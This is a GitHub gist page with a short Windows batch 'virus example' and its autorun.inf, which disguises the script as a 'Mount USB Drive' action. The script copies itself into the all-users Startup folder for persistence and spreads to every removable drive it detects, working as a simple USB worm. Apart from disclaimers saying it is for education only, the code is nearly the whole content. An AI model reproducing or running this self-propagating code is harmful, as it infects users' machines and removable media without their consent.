Skip to content

Instantly share code, notes, and snippets.

@SYZYGY-DEV333
Last active February 12, 2016 18:51
Show Gist options
  • Select an option

  • Save SYZYGY-DEV333/b798b46814f41a39c8d4 to your computer and use it in GitHub Desktop.

Select an option

Save SYZYGY-DEV333/b798b46814f41a39c8d4 to your computer and use it in GitHub Desktop.
Virus example in Batch. DO NOT USE FOR MALICIOUS PURPOSES.
[autorun]
open=drive-info.bat
action=Mount USB Drive
@echo off
:: This is an example of a virus in Batch. It copies itself to the startup folder and any drive plugged in.
:: DO NOT USE FOR MALICIOUS PURPOSES. THIS IS FOR EDUCATIONAL PURPOSES ONLY.
:: BSD Lisence. Also, don't come after me if someone does something bad ;-)
copy drive-info.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
copy autorun.inf "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
:: extra commands here
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
copy drive-info.bat "%%c"
copy autorun.inf "%%c"
)
)
)
)
:: extra commands here
@SYZYGY-DEV333
Copy link
Author

PLZ DONT DO NUTHIN BAD

and sure as HELL don't blame me if you do. XD

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment